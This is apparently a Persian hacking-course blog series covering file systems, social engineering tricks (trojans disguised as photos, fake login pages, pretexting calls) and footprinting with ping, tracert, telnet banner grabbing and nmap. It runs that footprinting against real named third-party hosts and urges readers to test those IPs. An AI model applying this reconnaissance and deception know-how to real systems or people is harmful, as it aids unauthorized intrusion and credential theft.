فايل‌هاي اجرايي در ويندوز با ساير سيستم‌عامل‌ها از نظر پسوند فرق مي‌کنه. مثلا در سيستم‌هاي مبتني بر يونيکس ممکنه اصلا فايل اجرايي پسوندي نداشته باشه! ولي يه سري فايل‌ها هستند که يه‌جورايي استاندارد شده‌اند. مثلا فايل‌هاي تصويري ( که پسوندهاي gif، jpg و... دارند)، فايل‌هاي html ( که پسوندهاي html يا htm دارند )، فايل‌هاي asp ، php، و ... پس آشنايي با اين فايل‌ها و فرمت اونا مي‌تونه خيلي کمک کنه. فرض کنيد که شما يه سايت وب رو هک کرديد ولي نمي‌تونيد يه فايل html طراحي کنيد که بجاي صفحه اول سايت قرار بديد، نتيجه اين ميشه که نمي‌تونيد پز بديد!!!

۳- فايل‌هاي نرم‌افزارهاي کاربردي:
نرم‌افزارهاي کاربردي هرکدوم خروجي‌هاشونو با يه پسوند خاص ارائه مي‌کنند. مثلا فايل‌هاي فتوشاپ پسوند psd دارند. فايل‌هاي MS Word پسوند doc دارند و...


- انواع سيستم‌هاي فايل در ويندوز

منظور من از سيستم‌هاي فايل در واقع روش پارتيشن‌بندي و فرمت‌کردن درايوهايي است که در ويندوز‌ها استفاده ميشه. مايکروسافت از زماني که داس رو ارائه داد تا حالا از روش‌هاي مختلف براي سيستم‌هاي فايل استفاده کرده است.
۱- FAT16 : در سيستم‌عامل داس استفاده مي‌شد.
۲- FAT32 : از ويندوز ۹۵ تا me استفاده مي‌شد.
۳- NTFS 4.0 : در سيستم‌هاي nt 4.0 استفاده مي‌شد.
۴- NTFS هاي جديد : از ويندوز ۲۰۰۰ به بعد استفاده مي‌شود. هرجا گفتم NTFS منظور اين NTFS هاست. مثلا NTFS ويندوز ۲۰۰۰ ورژن 5.0 هستش.
نکته تابلو: سيستم‌عامل‌هاي جديدتر مي‌تونن از روش‌هاي پارتيشن‌بندي مربوط به سيستم‌عامل‌هاي قديمي‌تر سر دربياورند ولي براي اجراي بهتر نياز به پارتيشن‌بندي مخصوص خود دارند. مثلا براي اينکه ويندوز ۲۰۰۰ سرور بتونه از امکاناتي که داره ( که بعدا مي‌گم چي‌ها داره! ) استفاده کنه خداقل يک درايو بايد به روش NTFS فرمت بشه.


 
comment نظرات ()
 
 
قسمت یازدهم(Social Engineering)
نویسنده : Hossein - ساعت ۱:٠٩ ‎ق.ظ روز جمعه ٢٤ شهریور ،۱۳۸٥
 
- Social Engineering چيست؟

Social Engineering يا مهندسی اجتماعی، تکنيکی است که بر گول زدن مردم استوار است. در اين تکنيک شما با انسان‌ها سر و کار داريد و نه با کامپيوترها. حال اگه يک user رو مثلا گول بزنيد، می‌توانيد اطلاعات او را مثل پسورد و ... را بدست بياوريد که نمونه‌ای است از Client Hacking و اگه Administer يک سايت را گول بزنيد و سايت را هک کنيد، نمونه‌ای است از Server Hacking. پس با مهندسی اجتماعی هم می‌شود کلاينت هک کرد و هم سرور. البته چون کلاينت‌ها معمولا user های کم‌سوادتری (از نظر دانش هک) دارند، هک کردن آنها بسيار آسان‌تر است.
اين نکته را هم بايد بگم که روش Social Engineering معمولا در مراحل اوليه هک استفاده می‌شود و بعد از آن بايد مسير را عوض کنيد و از اطلاعات فنی‌تان برای ادامه کار بهره ببريد.


- مثال‌هايی از مهندسی اجتماعی

در اينجا می‌خواهم تعدادی از تکنيک‌های Social Endineering را براتون بگم. البته توجه کنيد که اگرچه اين روش‌ها اطلاعات فنی زيادی نمی‌خواد ولی معمولا نتايج خوبی داره. و نيز بگم که اين روش‌ها خيلی گسترده است و هر بار به شکلی بروز می‌کند. اما نکته مشترکی که من در همه‌شان ديدم اينه که هميشه از شما می‌خواهند که پسوردتان را يک جايی وارد کنيد و اين دقيقا محلی است که فرق شما رو با يک user معمولی نشون ميده. زيرا نبايد گول بخوريد (-;

۱- تلفن زدن :
يکی از روش‌های مهندسی اجتماعی است. هکر اطلاعاتي از افراد يک شرکت جمع‌آوری می‌کند و بعد با شرکت تماس گرفته و مثلا از فلان فرد می‌خواهد که پسورد را عوض کند. پيشرفته‌ترين متد‌های اين نوع هک توسط مشهورترين (و يکی از بهترين) هکرهای تاريخ،  KEVIN MINTECK اجرا  شده است.

۲- مخ زدن برای ارسال فايل:
مثلا با يک نفر چت می‌کنيد و می‌گيد که بيا عکس منو ببين! و به جای ارسال يک فايل تصويری، يک فايل اجرايی مثلا تروجان براش می‌فرستيد. تا اين مرحله کار شما به عنوان مهندسی اجتماعی است ولی مابقی (مثلا استفاده از تروجان فرستاده شده) ديگه Social engineering نيست.

۳- برای ما E-mail بزنيد و ما پسورد E-mail کسی که شما می‌خواهيد را براتون پيدا می‌کنيم:
ممکنه در اينترنت به اين نوع پيغام‌ها برخورد کرده‌ايد که مثلا می‌گويد:
" به ما ايميل بزنيد، در سطر اول E-mail کسی که می‌خواهيد ما براتون هک کنيم رو بنويسيد، در سطر دوم E-mail خودتون رو، سطر آخر هم پسورد E-mail خودتون رو. ما پسورد E-mail ی که در سطر اول مشخص کرديد براتون می‌فرستيم. "
ممکنه عجيب به نظر برسه ولی خيلی‌ها به همين راحتی هک می‌شوند. اين ديگه از اون بهتريناش، چون يک تيره و سه نشون. ۲ تا آدرس E-mail برای فرستادن تبليغات و نيز پسورد E-mail خودتون.

۴- فايل ضميمه (attached) به E-mail را باز کنيد:
مثلا اينکه می‌گويد در اين E-mail عکس من attach شده است باز کنيد و ببينيد. درحالی که فايل attach شده فايل تصويری نيست، بلکه يک فايل آلوده است.

۵- ساختن يک صفحه شبيه به سايت‌های مشهور و درخواست login :
مثلا ساختن يک صفحه شبيه به ياهو برای login درحالی‌که اين صفحه برای دزديدن id و password شماست.

۶- و …

 
comment نظرات ()
 
 
قسمت دهم ( آشنايی با ping و tracert - جمع‌بندی )
نویسنده : Hossein - ساعت ۱:٠٧ ‎ق.ظ روز جمعه ٢٤ شهریور ،۱۳۸٥
 
- ping چيست ؟

ping دستوری است که مشخص می‌کند که آيا يک کامپيوتر خاص که ما ip يا domain آن را می‌دانيم، روشن و فعال (Active) هست يا نه. و اينکه اگر فعال باشد مدت زمان رسيدن بسته‌های tcp/ip از آن کامپيوتر به کامپيوتر ما چقدر است.
کاربرد اين دستور به صورت زير است:
ping ip-or-domain
که به جای ip-or-domain بايد شماره ip و يا domain آن(اگر داشته باشد) را می‌گذاريم.

مثلا ping sazin.com را در command prompt تايپ کردم و به نتايج زير رسيدم :
Pinging sazin.com [63.148.227.65] with 32 bytes of data:

Reply from 63.148.227.65: bytes=32 time=1402ms TTL=105
Reply from 63.148.227.65: bytes=32 time=941ms TTL=105
Reply from 63.148.227.65: bytes=32 time=981ms TTL=105
Reply from 63.148.227.65: bytes=32 time=851ms TTL=105

Ping statistics for 63.148.227.65:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 851ms, Maximum = 1402ms, Average = 1043ms
اين نتايج نشان می‌دهد که sazin.com فعال است.

حالا به کامپيوتری با ip شماره 63.148.227.65 (که همان sazin.com است)، ping می‌کنم. نتايج همان است فقط با تغييراتی در سطر اول. (البته time که معنای مدت زمان رسيدن پکت را می‌دهد، با توجه به ترافيک شبکه، کم و زياد خواهد شد). برای ping کردن به اين ip ، دستور 63.148.227.65 ping را صادر می‌کنم :
Pinging 63.148.227.65 with 32 bytes of data:

Reply from 63.148.227.65: bytes=32 time=861ms TTL=105
Reply from 63.148.227.65: bytes=32 time=852ms TTL=105
Reply from 63.148.227.65: bytes=32 time=851ms TTL=105
Reply from 63.148.227.65: bytes=32 time=881ms TTL=105

Ping statistics for 63.148.227.65:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 851ms, Maximum = 881ms, Average = 861ms
فرض کنيد که به يک ip که فعال نيست، ping کنيم:
Pinging 217.66.196.1 with 32 bytes of data:

Request timed out.
Request timed out.
Request timed out.
Request timed out.

Ping statistics for 217.66.196.1:
Packets: Sent = 4, Received = 0, Lost = 4 (100% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms
که نشان می‌دهد که آن ip در آن لحظه فعال نيست.

البته تمام مطالبی که در بالا ذکر شد، در حالتی است که مستقيما به اينترنت وصل شده‌ايد و يا اگر از طريق شبکه محلی به اينترنت وصل هستيد، شبکه شما به درستی پيکربندی شده باشد. اصولا ping يکی از بهترين دستورات برای پيدا کردن ايراد در شبکه است.


- tracert چيست ؟

tracert ( در يونيکس می‌شود traceroute ) ابزاری است که نشان می‌دهد که يک packet اطلاعاتی از کامپيوتر شما چه مسيری را طی می‌کند و از چه کامپيوترهايی می‌گذرد تا به يک مقصد خاص برسد. مقصد را ما مشخص می‌کنيم و معمولا همان کامپيوتری است که داريم footprinting می‌کنيم.

کاربرد اين دستور به صورت زير است:
tracert ip-or-domain
مثلا می‌خواهم ببينم که از چه کامپيوترهايی بايد رد شويم تا به sazin.com برسيم. برای اينکار می‌توان از يکی از دستورهای زير استفاده کرد:
tracert sazin.com
tracert 63.148.227.65
به نتيجه زير رسيدم:
Tracing route to sazin.com [63.148.227.65]
over a maximum of 30 hops:

1 160 ms 160 ms 160 ms 217.218.84.3
2 381 ms 691 ms 1772 ms 217.218.84.5
3 * * 2324 ms 217.218.77.1
4 201 ms 1101 ms 180 ms 217.218.0.252
5 341 ms 220 ms 180 ms 217.218.0.2
6 1993 ms 180 ms 181 ms 217.218.158.41
7 180 ms 160 ms 160 ms 195.146.63.101
8 2824 ms * * 195.146.32.134
9 1472 ms 1463 ms 871 ms 195.146.33.73
10 791 ms 841 ms 811 ms if-1....eglobe.net [207.45.218.161]
11 1692 ms * 2654 ms if-4-....eglobe.net [207.45.222.77]
12 1282 ms 891 ms 1052 ms if-1-....globe.net [207.45.220.245]
13 902 ms 931 ms 881 ms if-15.....globe.net [66.110.8.134]
14 931 ms 861 ms 871 ms if-8-....leglobe.net [64.86.83.174]
15 901 ms 841 ms 852 ms if-5-.....globe.net [207.45.223.62]
16 841 ms 862 ms 851 ms pos6-.....vel3.net [209.0.227.33]
17 841 ms 842 ms 941 ms so-4-1.....vel3.net [209.247.10.205]
18 882 ms 931 ms 851 ms so-0-1....vel3.net [209.247.11.197]
19 871 ms 891 ms 951 ms gige9....vel3.net [209.247.11.210]
20 1011 ms 851 ms 902 ms unknown.Level3.net [63.208.0.94]
21 852 ms * 882 ms 64.156.25.74
22 961 ms 942 ms 841 ms 63.148.227.65

Trace complete.
اين نتايج نشان می‌دهد که بايد از ۲۲ کامپيوتر بگذرم تا به sazin.com برسم. اين اطلاعات همان‌طور که بعدا خواهيد ديد، حاوی اطلاعات زيادی برای پيدا کردن فايروال‌ها و ... است. (بعضی سطرها رو کوتاه کردم و به‌جاش .... گذاشتم)


tracert دارای تعدادی switch است که دوتاش رو توضيح می‌دم:

d-   ==>
با استفاده از اين سويچ در نتايج حاصله فقط ip ها نمايش داده می‌شود.
مثلا می‌نويسيم:   tracert sazin.com -d

h max-hops-   ==>
حداکثر تعداد گام‌ها را تعيين می‌کند. حالت پيش‌فرض ۳۰  است.
مثلا می‌نويسيم:   tracert sazin.com -h 50



از اين دستور بعدا بسيار استفاده خواهيم کرد.


- ادامه بحث telnet

telnet هم جزو مواردی است که در footprinting مورد استفاده قرار می‌گيرد. کاربرد آن در حالتيست که بخواهيم بدانيم که روی فلان پورت چه برنامه‌ای فال‌گوش‌ه و version آن چنده. به اين صورت که به يک پورت خاص (که مي‌دانيم روی آن سرور باز است) تلنت می‌کنيم و بعد می‌بينيم که نتايجی ظاهر می‌شود که نشان‌دهنده اطلاعاتی‌ است که به‌کار می‌رود. گاهی با مکثی طولانی مواجه می‌شويم و هيچ چيزی نمايش داده نمی‌شود، در اين حالت يکی دوبار , Ctrl+Z , Ctrl+D , Ctrl+C , Ctrl+break را می‌زنيم و خارج می‌شويم. در مثال پايين جمع‌بندی مواردی که تا حالا از footprinting گفته‌ام را می‌آورم.


- جمع‌بندی مطالب گفته شده و بررسی يک سايت

فرض کنيد می‌خواهيم در مورد www.iums.ac.ir اطلاعاتی کسب کنيم :

◊ اول به سايت پينگ می‌کنم و ip آن را به‌دست می‌آورم: 194.225.184.15

◊ به کمک ip که به‌دست آورديم، به کمک يک پورت اسکنر پورت‌ها را بررسی می‌کنيم و می‌بينيم که پورت‌هايی مثل ۲۱، ۲۵، ۴۲، ۵۳، ۸۰، ۱۱۰، ۱۱۹، ۱۳۹، ۱۴۳ و ... باز است.

◊ چون domain به ir ختم می‌شود، برای whois کردن از whois.nic.ir استفاده می‌کنم و Name Server آن را به دست می‌آورم که 194.225.184.20 است.

◊ به کمک اين Name Server ، يک nslookup می‌کنم و به نتايج زير می‌رسم:
 iums.ac.ir.                    SOA    sina.i........0 345600)
iums.ac.ir. NS sina.iums.ac.ir
iums.ac.ir. NS ns1.nic.ir
iums.ac.ir. MX 10 sina.iums.ac.ir
smtp.iums.ac.ir. A 195.146.34.181
sina.iums.ac.ir. HINFO Sun-SuperSPARC5/75 UNIX-Solaris-2.6
sina.iums.ac.ir. MX 10 sina.iums.ac.ir
sina.iums.ac.ir. A 194.225.184.20
sina.iums.ac.ir. A 195.146.34.181
sun.iums.ac.ir. CNAME sina.iums.ac.ir
cisco.iums.ac.ir. CNAME router.iums.ac.ir
webmail.iums.ac.ir. A 195.146.34.181
linux.iums.ac.ir. A 194.225.184.19
linux.iums.ac.ir. HINFO Intel-Xeon/800 RedHat-Linux-7.2
mta.iums.ac.ir. A 195.146.34.181
pop3.iums.ac.ir. CNAME sina.iums.ac.ir
localhost.iums.ac.ir. A 127.0.0.1
proxy.iums.ac.ir. CNAME arvand.iums.ac.ir
www.iums.ac.ir. A 195.146.34.180
atrak.iums.ac.ir. A 194.225.184.14
ns1.iums.ac.ir. CNAME sina.iums.ac.ir
arvand.iums.ac.ir. A 194.225.184.13
router.iums.ac.ir. A 194.225.184.1
router.iums.ac.ir. HINFO Cisco3640/Access-Server IOS-IP-12.0
iums.ac.ir. SOA sina.iu.......3456000 345600)
تک تک سطرهای اين نتايج کاربرد دارد که خواهيم رسيد. الان فقط در مورد HIFNO صحبت می‌کنم که برای مشخص تر بودن در بالا به صورت کمی فرورفته‌تر نوشتم. مثلا:
sina.iums.ac.ir.       HINFO  Sun-SuperSPARC5/75  UNIX-Solaris-2.6 
HIFNO برای تعيين نوع کامپيوتر و سيستم‌عامل سرور اهميت دارد. در اين سطر مشخص است که sina.iums.ac.ir از Sun-SuperSPARC5/75 UNIX-Solaris-2.6 استفاده می‌کند.


◊ چون پورت‌های باز را هم توسط پورت اسکنر به دست آورده‌ام به آنها تلنت می‌کنم با دستور:
telnet www.iums.ac.ir portnum
نتايج حاصل از بعضی را می‌بينيد:

25 :
... master.iums.ac.ir Microsoft ESMTP MAIL Service, Version: 5.0.2195.4905 ready at 220
پس پورت ۲۵ (smtp) در آن کامپيوتر از Microsoft ESMTP MAIL Service, Version: 5.0.2195.4905 استفاده می‌کند.

110 :
.OK Microsoft Exchange 2000 POP3 server version 6.0.5762.3 (master.iums.ac.ir) ready+
پس پورت ۱۱۰ (pop3) در آن کامپيوتر از Microsoft Exchange 2000 POP3 server version 6.0.5762.3 استفاده می‌کند.

119 :
NNTP Service 5.00.0984 Version: 5.0.2195.2966 Posting Allowed

و …

 
comment نظرات ()
 
 
قسمت نهم(کاربرد نرم‌افزار nmap)
نویسنده : Hossein - ساعت ۱:٠٤ ‎ق.ظ روز جمعه ٢٤ شهریور ،۱۳۸٥
 
- معرفی nmap و NMapWin

اگر بخواهيد مهم‌ترين ابزاری را که يک هکر برای footprinting استفاده می‌کند بدانيد، آن نرم‌افزار nmap خواهد بود که برای سيستم‌های لينوکس و يونيکس طراحی شده است. برای هکرهای تازه‌کار که سيستم‌عامل ويندوز را به کار می‌برند، نسخه گرافيکی و تحت ويندوزی طراحی شده است که NMapWin نام دارد و همان امکانات را فراهم می‌آورد. بحث اين‌ جلسه درباره اين نرم‌افزار است. برای داون‌لود اين نرم‌افزار اينجا را کليک کنيد!  اندازه برنامه 6.18 مگابايت است و اگر اتصالتان dial-up است، کمی طول خواهد کشيد. ضمنا توجه کنيد که اين برنامه مخصوص ويندوز ۲۰۰۰ و xp است.

اين نرم‌افزار مجموعه ابزارهای footprinting مثل پورت اسکن، آی‌پی اسکن، تشخيص سيستم‌عامل کامپيوتر مورد نظر (OS detection) و … را گرد هم آورده است. شکل ظاهری برنامه را در زير می‌بينيد:






- بررسی ظاهر برنامه

شکل ظاهری برنامه چهار قسمت دارد:

۱- Network Section :
بالاترين قسمت پنجره برنامه است که محلی برای ورود ip يا ip‌ ها دارد به نام Host. بعد از وارد کردن ip و تنظيم کردن پارامترها، دکمه Scan را کليک می‌کنيم تا کار اسکن شروع شود.
اگر قرار باشد بيش از يک ip وارد شود، اين کار را می‌توان به صورت‌های مختلف انجام داد. مثلا: *.*.192.130 يعنی تمام ip هايی که با 192.130 شروع می‌شوند ولی دو عدد بعدی هرچيزی می‌تواند باشد. و نوشتن به صورت 15-192.130.120.12 يعنی عدد آخری می‌تواند از ۱۲ تا ۱۵ باشد.

۲- Option Folder :
اين قسمت در واقع محل تنظيمات است و به کمک آن مشخص می‌کنيم که از برنامه می‌خواهيم که چه‌کاری انجام دهد که مفصلا در موردش صحبت خواهم کرد. در اين قسمت، برگه‌هايی با نام‌های Option , Discover , Scan , ... وجود دارد.

۳- Log Output :
محل ظاهر شدن نتايج است. در حالتی که اسکن شروع نشده باشد، خالی است.

۴- Status bar :
پايين‌ترين بخش پنجره برنامه است و دو بخش مهم دارد:
قسمت سمت چپ نشان می‌دهد که اگر بخواهيم در nmap همين کار رو انجام بديم، چه سويچ‌هايی را بايد بکار بريم ( دقت کنيد که nmap برخلاف NMapWin گرافيکی نيست ). هر تغييری که در قسمت Option Folder اعمال کنيم، در اين قسمت تغييری را مشاهده می‌کنيم و توصيه می‌کنم که حتما به اين قسمت توجه ويژه‌ای داشته باشيد.
اما در سمت راست آن، يک مربع کوچک مشاهده می‌شود که می‌تواند به رنگ‌های سبز يا قرمز باشد. سبز يعنی اينکه برنامه آماده برای اجرای دستورات شماست و قرمز يعنی در حال انجام دستورات وارد شده است و فعلا دستور جديد نمی‌پذيرد.


- شروع کار با NMapWin

فرض کنيد که می‌خواهم سايت far30.com رو می‌خواهم مورد بررسی قرار دهم. برای اينکار ابتدا ip رو بدست‌ آورده (63.148.227.65) و در قسمت Host تايپ می‌کنيم. حالا فعلا بدون اعمال تغييری در قسمت Option Folder ، دکمه Scan رو کليک می‌کنيم. اسکن شروع می‌شود و بعد از چند دقيقه، نتايج زير در قسمت Log Output ظاهر می‌شود:
Starting nmap V. 3.00 ( www.insecure.org/nmap )
Interesting ports on (63.148.227.65):
(The 1583 ports scanned but not shown below are in state: closed)
Port State Service
21/tcp open ftp
25/tcp open smtp
31/tcp open msg-auth
53/tcp open domain
80/tcp open http
110/tcp open pop-3
135/tcp open loc-srv
143/tcp open imap2
443/tcp open https
445/tcp open microsoft-ds
1025/tcp open NFS-or-IIS
1026/tcp open LSA-or-nterm
1050/tcp open java-or-OTGfileshare
1433/tcp open ms-sql-s
3372/tcp open msdtc
3389/tcp open ms-term-serv
6666/tcp open irc-serv
7007/tcp open afs3-bos
Remote operating system guess: Windows 2000/XP/ME
Nmap .... -- 1 IP address (1 host up) scanned in 156 seconds
در همين‌جا سه نوع اطلاعات قابل دسترسی است:
۱- ليست پورت‌های باز روی کامپيوتر سرور و کاربرد آن پورت‌ها
۲- تشخيص سيستم عامل که Windows 2000/XP/ME حدس زده شده است (سطر ماقبل آخر)
۳- و سطر آخر می‌گويد که اين ip روشن (up) است.


- بررسی برگه Scan از قسمت Option Folder

اين برگه خود ۲ بخش دارد:

+> بخش Mode :
در درس‌های قبلی گفتم که اسکنينگ انواع مختلفی داره، و اينجا جايی است که نوع اسکنينگ رو مشخص می‌کنيم:
- Connect : اسکن از نوع TCP connect scan است که قبلا در درس هفتم درباره‌اش بحث کرده‌ام.
- SYN Stealth : در درس هفتم درباره اين هم گفته‌ام. - پيش‌فرض هم همين است
- Null Scan , Xmas tree , FIN Stealth : برای سرورهای غير از ويندوز کار می‌کنند.
- UDP Scan : برای اسکن کردن پورت‌های udp است.
- Ping Sweep : برای عمل ip scanning است که بدانيم که از بين يک سری ip کدام‌ها فعال هستند.
- List Scan : همان Ping Sweep است ولی به طوری که ip مان لو نرود.
- ACK Scan : معمولا برای تشخيص فايروال‌ها کاربرد دارد.
- Window Scan : همان ACK Scan است ولی کامل‌تر
- RCP Scan : جزو کامل‌ترين حالت‌های اسکنينگ است با اطلاعات فراوان.

+> بخش Scan Options :
اين قسمت شش گزينه دارد که فقط يکی‌شان به درد می‌خوره:
- Port Range : مشخص می‌کند که چه پورت‌هايی بايد اسکن شود: اگر خالی بماند، يعنی همه پورت‌ها ، اگر يک عدد نوشته شود يعنی فقط آن پورت و اگر به‌صورت n-m نوشته شود (که n و m عدد هستند) يعنی از پورت n تا پورت m  اسکن شود.


- بررسی برگه Discover از قسمت Option Folder

اين برگه دارای چهار گزينه است:

- TCP Ping : برای بررسی فعال بودن کامپيوتر مورد نظر می‌تواند به‌کار رود.
- ICMP Ping : پينگ فقط از نوع ICMP باشد.
- TCP+ICMP : برای بررسی فايروال‌ها مناسب است (پيش‌فرض)
- Don"t Ping : پينگ نکند.


- بررسی برگه Options از قسمت Option Folder

اين برگه خود ۲ بخش دارد:

+> بخش Options :

- Fragmentation : اگر بخواهيم در اسکنينگ‌هايی از نوع Null, Xmas, FIN, SYN تا حدودی تغييرات اعمال کنيم تا حداقل خطر را برای ما داشته باشند، می‌توان اين گزينه را انتخاب کرد. ولی بايد توجه داشت که گاهی با انتخاب اين گزينه اسکنينگ موفقيت آميز نخواهد بود.
- Get Idented Info : اگر بخواهيم اسکنينگ از نوع connect صورت دهيم، با انتخاب اين گزينه گاه اطلاعات ذی‌قيمتی برای ما به ارمغان می‌آورد.
- Resolve All : در حالت پيش‌فرض، اين نرم‌افزار روی ip هايی که up هستند، عمل Reverse Whois را انجام می‌دهد (يعنی از روی ip، به دنبال اسم DNS مربوطه می‌گردد). اگر Resolve All را انتخاب کرده باشيم، روی همه ip ها، چه up و چه down عمل Reverse Whois انجام خواهد شد.
- Don"t Resolve : هرگز Reverse Whois نخواهد کرد.
- OS Detection : از جمله مهم‌ترين گزينه‌های اين نرم‌افزار است که اگر انتخاب‌شده باشد، برنامه سعی می‌کند که سيستم‌عامل کامپيوتر مقابل را حدس بزند.
- Random Host : به صورت تصادفی ip هايی را تست می‌کند، و هرگز هم به پايان نمی‌رسد.

+> بخش Debug :

- Debug : اگر مارک شده باشد، نتايج ديباگ مرحله به مرحله در خروجی نشان داده می‌شود.
- Verbose : اگر انتخاب‌شده باشد، پيشرفت کار را نشان می‌دهد.
- Very Verbose : پيشرفت کار را با نهايت جزئيات نشان می‌دهد.


- بررسی برگه Timing از قسمت Option Folder

اين برگه خود ۲ بخش دارد:

+> بخش Throttle :

در اين بخش هرچه گزينه‌های بالاتر را انتخاب کنيد، کار کندتر و دقيق‌تر است و احتمال detection (لو رفتن) شما کمتر است و هرچه پايين تر برعکس. به نظر می‌رسد، Normal بهترين انتخاب باشد.

+> بخش Timeouts :

- Host Timeout : حداکثر زمانی را مشخص می‌کند که برای يک ip می‌تواند صرف شود.
- Max RTT : حداکثر زمانی را مشخص می‌کند که برای يک probe می‌تواند صرف شود. پيش‌فرض، 9000 است (يعنی ۹ ثانيه)
- Min RTT : برای هر probe حداقل به اين اندازه صبر می‌کند.
- Initial RTT : اين گزينه خصوصا در ip هايی که فايروال دارند، مفيد است.
- Parallelism : اگر در مورد acw_spscan دقت کرده‌ باشيد، اين برنامه هر بار فقط يک پورت را پروب می‌کند و نه بيشتر ( به همين خاطر است که اول اسم آن simple دارد ). ولی محصولات واقعی بايد همزمان تعدادی پورت را تست کنند. در اين قسمت می‌توان حداکثر تعداد پورت‌هايی که می‌تواند همزمان پروب شوند را مشخص می‌کنيم.
- Scan Delay : بين هر اسکن، حداقل به اين ميزان صبر می‌کند.


- بررسی برگه Files از قسمت Option Folder

اين برگه خود ۲ بخش دارد:

+> بخش Input :

برای اينکه روند کارها را سريع‌تر کنيم، می‌توان از اين بخش استفاده کرد. در اين حالت ورودی از يک فايل خوانده می‌شود.

+> بخش Output :

اين قسمت برای آن است که نتايج را در يک فايل ذخيره کنيم. اين فايل می‌تواند به‌صورت Normal (متنی معمولی)، Grep (که الان ديگه به‌کار نميره)، XML و يا All (هر سه مورد) باشد.


- بررسی برگه Service از قسمت Option Folder

فرض کنيد می‌خواهيد اول هر هفته فلان ip رو تست کنيد و کارهايی از اين‌دست... اين برگه برای همين‌جور کارهاست (ميشه گفت يک نوع اتوماسيون)


- بررسی برگه Win32 از قسمت Option Folder

اين برگه دو بخش دارد به نام‌های Options , Commands که فقط Options رو بررسی می‌کنم:

- No Pcap : وقتی که NMapWin را نصب می‌کنيم، Pcap هم نصب می‌شود ( که فقط روی سيستم‌های ويندوز ۲۰۰۰ و xp می‌تواند نصب شود) و کارها را برعهده می‌گيرد. اگر بخواهيم که از آن استفاده نشود و به‌جای آن از Raw Socket استفاده شود، اين گزينه را مارک می‌کنيم.
- No IP HLP Api : مثل بالايی فقط اينکه بين ارسال هر پکت، ۱۵ ثانيه منتظر می‌ماند.
- No Raw Sockets : با انتخاب آن Raw Socket به‌کار نمی‌رود.
- Force Raw Socket : باعث می‌شود که فقط Raw Socket به‌کار رود.
- Win Trace : برای سيستم‌های Win32 کمی اطلاعات بيشتری به‌دست می‌دهد.


- استفاده از NMapWin برای تعيين نوع سيستم عامل

اگر مهم‌ترين کاربرد‌های nmap را بخواهيم بدانيم، يکی port scanning و ديگری OS detection (تشخيص سيستم‌عامل مقابل) است که ويژگی دوم به قدری مهم است که گاه nmap را با همين ويژگی می‌شناسند. برای اينکه نوع سيستم‌عامل را تعيين کنيم، بايد در برگه Options از NMapWin، گزينه OS detection انتخاب شده باشد.
حالا چند مثال را بررسی می‌کنيم (شما خودتان اين‌ ip ها و ip های ديگر را تست و تمرين کنيد) :

194.225.184.15
Remote operating system guess: Windows 2000 server SP2

195.219.176.5
Remote operating system guess: Linux Kernel 2.4.0 - 2.5.20

206.104.238.208
Remote operating system guess: Linux 2.1.19 - 2.2.20

217.66.199.6
(Remote operating system guess: Cisco router running IOS 12.1.5-12.2(6a

63.148.227.65
Remote operating system guess: Windows 2000/XP/ME

194.225.184.2
No exact OS matches for host (If you know what OS is running on it, see http://www.insecure.org/cgi-bin/nmap-submit.cgi).
در اين مورد می‌بينيد که nmap موفق به تعيين نوع سيستم‌عامل نشده است. ممکن است دليلش اين باشد که ip در آن لحظه up نبوده‌ است.

نکته‌ای که بايد در نظر داشت اين است که گاه بايد از يک سری اطلاعات فنی هم استفاده کرد تا به جواب قطعی رسيد :
- مثلا ip ماقبل آخر که نتيجه آن به صورت Windows 2000/XP/ME ظاهر شده است، متعلق به sazin.com است که چون يک سايت است و بايد در يک سرور باشد و هيچ سروری نمی‌تواند ME يا XP باشد، پس سيستم‌عامل آن Win 2000 خواهد بود.
- يا يک حالت ديگر موردی است که ببينيد صفحات يک وب سايت با asp يا asp.net درست شده است (مثلا اسم صفحه به صورت zzzzzz.asp يا zzzzzz.aspx باشد، که نمونه آن سايت far30.com است که اسم همين صفحه default.asp است). در اين حالت سرور آن حتما سروری از محصولات مايکروسافت است مثل Win NT و يا Win 2000 و نمی‌تواند Linux يا Unix يا Sun Solaris و... باشد.


- چگونه از nmap استفاده کنيم؟

قبلا با نرم‌افزار NMapWin آشنا شديد که نسخه گرافيکی nmap برای ويندوز بود. nmap در واقع نرم‌افزار اصلی است که هم برای يونيکس (لينوکس) و هم برای ويندوز نسخه‌هايی را دارد. nmap برخلاف NMapWin، حالت خط فرمانی (command prompt) دارد. در اين قسمت می‌خواهيم با nmap مخصوص ويندوز آشنا شويم. برای داون‌لود اين نرم‌افزار اينجا را کليک کنيد. (اگر قبلا NMapWin را نصب نکرده‌ايد، بايد از يک نسخه ديگر از nmap که اصطلاحا nmap installer نام دارد، استفاده کنيد. اين نسخه nmap را می‌توانيد از اينجا داون‌لود کنيد. )
همان‌‌طور که می‌دانيد، در نرم‌افزارهای خط فرمانی، بايد از پارامترها استفاده کنيم. با توجه به اينکه پارامترهای nmap بسيار زياد و يادگيری آنها مشکل است، ما برای پيدا کردن پارامترهای درست برای يک عمل خاص ( که معمولا ip scanning يا port scanning است) از NMapWin استفاده می‌کنيم. به اين ترتيب که در NMapWin تنظيمات را انجام می‌دهيم و بعد در پايين پنجره آن مشاهده می‌کنيد که در قسمت :CMD ليست پارامترها را به دست می‌آوريم. اين مراحل را با دو مثال شرح می‌دم:

۱- می‌خواهيم برای پورت‌های ۱ تا ۲۰۰ در کامپيوتری که ip آن 63.148.227.65 است، يک پورت اسکننيگ انجام دهيم. برای اين‌کار در NMapWin، برگه Scan را درحالت SYN Stealth تنظيم می‌کنيم و Port Range را می‌نويسيم: 200-1 و بعد برگه Discover بايد در حالت TCP+ICMP باشد و اگر بخواهيم نوع سيستم‌عامل را هم مشخص کنيم، در برگه Options، گزينه OS detection را در حالت انتخاب شده قرار می‌دهيم. ip را هم در بالای پنجره، 63.148.227.65 می‌نويسيم. حالا آماده اسکن هستيم ولی ما می‌خواهيم اين کار را با nmap انجام دهيم، پس فقط بايد قسمت CMD را از پايين پنجره ببينيد، ملاحظه می‌کنيد که نوشته شده:
CMD: -sS -PT -PI  -p 1-200 -O -T 3 63.148.227.65
با حذف کلمه :CMD به عبارت زير می‌رسيم:
-sS -PT -PI  -p 1-200 -O -T 3 63.148.227.65
اينها پارامتر‌هايی است که بايد در nmap استفاده کنيد. به اين صورت که می‌نويسيد:
